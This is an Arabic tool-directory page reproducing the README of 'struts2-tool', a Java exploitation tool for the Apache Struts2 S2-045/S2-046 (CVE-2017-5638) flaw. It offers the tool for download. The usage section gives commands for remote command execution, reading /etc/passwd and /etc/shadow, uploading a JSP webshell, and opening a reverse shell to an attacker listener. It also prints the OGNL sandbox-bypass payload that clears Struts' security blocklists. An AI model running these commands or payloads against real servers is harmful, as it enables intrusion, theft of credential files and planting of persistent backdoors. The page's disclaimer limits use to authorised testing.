Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
struts2-tool — أداة كشف واستغلال ثغرات Struts2 S2-045/S2-046 CVE-2017-5638 | Kitploit
أدوات/GitHubGitHub/gu-007/struts2-tool
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعدتطوير الحمولات
GitHubgu-007/struts2-tool

struts2-tool

أداة كشف واستغلال ثغرات Struts2 S2-045/S2-046 CVE-2017-5638

عرض المستودع
منذ 14س 13دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

أداة اكتشاف واستغلال ثغرات Struts2 (s2tool)

أداة Java خالصة لاكتشاف واستغلال ثغرات Struts2 S2-045 / S2-046 (CVE-2017-5638). تغطي وحدة الاكتشاف ثغرتي S2-045 / S2-046، بينما توفر وحدة الاستغلال قدرات تنفيذ الأوامر، إدارة الملفات، جمع المعلومات، شل تفاعلي، شل عكسي، رفع Webshell وغيرها.

إخلاء مسؤولية: هذه الأداة مخصصة فقط للاختبارات الأمنية المصرح بها، وأبحاث الثغرات، والأغراض التعليمية. يُحظر تمامًا استخدامها لأغراض غير قانونية غير مصرح بها، ويتحمل المستخدم كامل المسؤولية القانونية.


نظرة عامة على الوظائف

الوحدةالأمر الفرعيالوصف
اكتشاف الثغراتscanاكتشاف S2-045 / S2-046 (تحقق رياضي + علامة UUID)
فحص جماعيbatchفحص جماعي لأهداف متعددة، مع إخراج ملخص وتقرير JSON
تنفيذ الأوامرexecتنفيذ أوامر نظام عشوائية + عرض الناتج (تكيف تلقائي مع Win/Linux)
شل تفاعليshellتفاعل مستمر، مع حفظ مسار cd و أوامر مدمجة pwd/webroot/os
رفع ملفاتuploadكتابة مباشرة عبر OGNL (ملفات صغيرة) / كتابة مقسمة عبر الأوامر (ملفات كبيرة)
تنزيل ملفاتdownloadتنزيل بتشفير Base64 (آمن للبيانات الثنائية)
جذر الويبgetpathالحصول على مسار النشر الفعلي لتطبيق الويب
معلومات النظامsysinfoمعلومات نظام التشغيل / المستخدم / النواة / دليل العمل
شل عكسيrevshellشل عكسي بضغطة واحدة لـ bash / PowerShell
رفع Webshellwebshellإنشاء ورفع JSP Webshell (بنمط ?CMD= نصي)
تصدير التقاريرscan -rتقارير JSON / HTML

يمكن لوظيفة التنزيل قراءة أي ملف على الخادم (مثل /etc/shadow)، يُرجى استخدامها فقط في الاختبارات المصرح بها.


بدء سريع

المتطلبات البيئية

  • JDK 8 أو أحدث
  • Maven 3.x (مطلوب فقط للبناء، لا حاجة لتثبيت Maven لتشغيل الأداة)

البناء (Windows)

root@kitploit:~
:: نفّذ في دليل المشروع
.\build.bat

في PowerShell يجب إضافة البادئة .\؛ في cmd يمكن تشغيل build.bat مباشرة. build.bat مسؤول فقط عن البناء، ولا يرسل أي طلبات شبكة أو يقوم بأي فحص. بعد اكتمال البناء تبقى النافذة مفتوحة وتدخل جلسة cmd (يمكن تشغيل أوامر الأداة مباشرة، وأدخل exit للإغلاق). إذا كانت بيئتك لا تسمح بالكتابة إلى مستودع Maven الافتراضي، يمكنك أولاً تعيين متغير البيئة M2_REPO إلى دليل قابل للكتابة.

الناتج: target\s2tool.jar (fat-jar).

لنظامي Linux/Mac يمكن الرجوع إلى build.sh

أمثلة الاستخدام

root@kitploit:~
# 1. اكتشاف الثغرات
java -jar s2tool.jar scan http://target/action

# 2. اكتشاف + تصدير تقرير JSON/HTML
java -jar s2tool.jar scan http://target/action -r both

# 3. تنفيذ الأوامر
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. شل تفاعلي
java -jar s2tool.jar shell http://target/action

# 5. الحصول على جذر الويب / معلومات النظام
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. رفع / تنزيل الملفات
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. رفع Webshell بضغطة واحدة (بنمط ?CMD= نصي)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# الوصول: http://target/shell.jsp?CMD=whoami

# 8. شل عكسي (استمع أولاً على جهاز المهاجم: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. فحص جماعي
java -jar s2tool.jar batch targets.txt -r json

تنسيق ملف الأهداف الجماعي

root@kitploit:~
# سطور التعليقات تبدأ بـ # (يتم تجاهلها تلقائيًا)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

المبدأ التقني

S2-045 / S2-046 (CVE-2017-5638)

نطاق الإصدارات الرسمي (كلا الثغرتين وفقًا للإعلان الرسمي من Apache، لتقييم ما إذا كان الهدف متأثرًا):

الثغرةCVEالإصدارات المتأثرة (الإصدارات المعرضة للخطر)إصدارات الإصلاح (الإصدارات المصححة)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31 و 2.5 ~ 2.5.102.3.32 أو 2.5.10.1 فما فوق
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31 و 2.5 ~ 2.5.102.3.32 أو 2.5.10.1 فما فوق

هذه الأداة لا تعتمد على تحديد الإصدار، بل تحدد وجود الثغرة مباشرة من خلال نتائج فحص الـ Payload، لأن تحديد الإصدار غير موثوق (العديد من المواقع تخفي رقم الإصدار). الجدول أعلاه مرجع فقط لتقييمك اليدوي، ولا يؤثر على منطق اكتشاف الأداة.

بالنسبة لـ S2-046، تدعم الأداة مساري اكتشاف: حقن البايت الفارغ في filename ومسار Content-Type ذو السبب الجذري نفسه.

مبدأ الثغرة:

  • نقطة الإطلاق متطابقة: عند حدوث خطأ في محلل Jakarta Multipart، يتم دمج محتوى رأس الطلب الذي يتحكم فيه المستخدم (S2-045: Content-Type؛ S2-046: filename في Content-Disposition) في رسالة الخطأ، ويتم تقييم OGNL لرسالة الخطأ عبر معالجة نصوص التدويل في Struts2 (TextParseUtil.translateVariables)
  • طريقة الاستغلال مختلفة: S2-045 تُطلق عبر Content-Type غير صالح؛ S2-046 تُطلق عبر بايت فارغ في filename (يتطلب commons-fileupload 1.3.3+) أو Content-Length كبير جدًا (يتطلب إعداد jakarta-stream)

تجاوز الصندوق الرملي

root@kitploit:~
(#nike='multipart/form-data')                       // تمويه Content-Type، لاجتياز فحص contains
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // الحصول على أعلى صلاحيات MemberAccess
(#_memberAccess?(#_memberAccess=#dm):               // الإصدارات القديمة: استبدال مباشر
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // مسح قائمة حظر أسماء الحزم
   (#ognlUtil.getExcludedClasses().clear())          // مسح قائمة حظر الفئات
   (#context.setMemberAccess(#dm))))                 // الإصدارات الأحدث: مسح القوائم ثم الاستبدال

اختبار فعلي: على Struts2 2.3.30، النسخة المبسطة (فقط setMemberAccess) لا يمكنها تجاوز الصندوق الرملي، يجب استخدام النسخة الكاملة (بما في ذلك مسار مسح قوائم OgnlUtil).

استراتيجية الاكتشاف

التقنيةالمبدأالوصف
التحقق الرياضيتنفيذ OGNL لـ 88888888-23333+1222، وجود 88866777 في الاستجابة يعني وجود الثغرةصيغة POC عامة
علامة UUIDحقن UUID عشوائي وعرضه في جسم الاستجابةدقة عالية، غير متأثر بتأخير الشبكة
كشف التأخيرفرق زمني Thread.sleep(6000) (فقط كخيار احتياطي لـ S2-045 بدون عرض ناتج)العتبة >3.6s

قاعدة الحكم: إذا تحقق التحقق الرياضي أو علامة UUID → تأكيد الوجود؛ إذا تحقق التأخير فقط → اشتباه بالوجود؛ إذا لم يتحقق أي منها → غير موجود.


هيكل المشروع

root@kitploit:~
struts2-vuln-tool/
├── pom.xml                        # بناء Maven (تغليف shade لـ fat-jar)
├── build.bat / build.sh           # سكربتات البناء (تم التحقق على Windows / مرجع Linux)
├── src/main/java/com/s2tool/
│   ├── Launcher.java              # نقطة الدخول الرئيسية (Picocli CLI)
│   ├── core/                      # المحرك الأساسي: عميل HTTP / بناء Payload / تحليل الاستجابة / تحليل الأهداف
│   ├── plugins/                   # بنية إضافات الثغرات (نقاط التوسعة)
│   │   └── impl/                  #   إضافات اكتشاف S2_045 / S2_046
│   ├── modules/                   # الوحدات الوظيفية: جدولة الاكتشاف / التعرف على البصمة / تنفيذ الأوامر / إدارة الملفات / Shell وغيرها
│   ├── report/                    # توليد التقارير (وحدة التحكم / JSON / HTML)
│   └── utils/                     # أدوات السجلات
├── src/main/resources/            # إعدادات السجلات / مرجع Payload
└── src/test/                      # اختبارات JUnit

المراجع

مقالات مبدأ الثغرة والتقنيات:

  • الإعلان الرسمي Apache Struts S2-045 (CVE-2017-5638)
  • تحليل حقن OGNL لـ S2-045 وتجاوز الصندوق الرملي الثلاثي (مجتمع مطوري Tencent Cloud)(مرجع Payload)
  • تحليل مبدأ ثغرة S2-046 (Anquanke)

المشاريع مفتوحة المصدر المرجعية (تمت الاستعانة بأفكار و Payload من المستودعات التالية أثناء تطوير هذا المشروع):

  • Flyteas/Struts2-045-Exp —— قوالب Payload لتنفيذ الأوامر / الحصول على جذر الويب / كتابة ملفات JSP
  • Z-0ne/ScanS2-045-Nmap —— أفكار الفحص الجماعي وطريقة تمييز خصائص الاستجابة
  • abc123info/Struts2VulsScanTools —— أفكار التصميم العامة لأداة اكتشاف ثغرات متعددة (فصل الاكتشاف عن الاستغلال)

الترخيص

مخصص فقط للاختبارات الأمنية المصرح بها وأغراض التعلم والبحث.

يُحظر تمامًا استخدامه لأغراض غير قانونية غير مصرح بها، ويتحمل المستخدم كامل المسؤولية القانونية.

تنزيل الأداة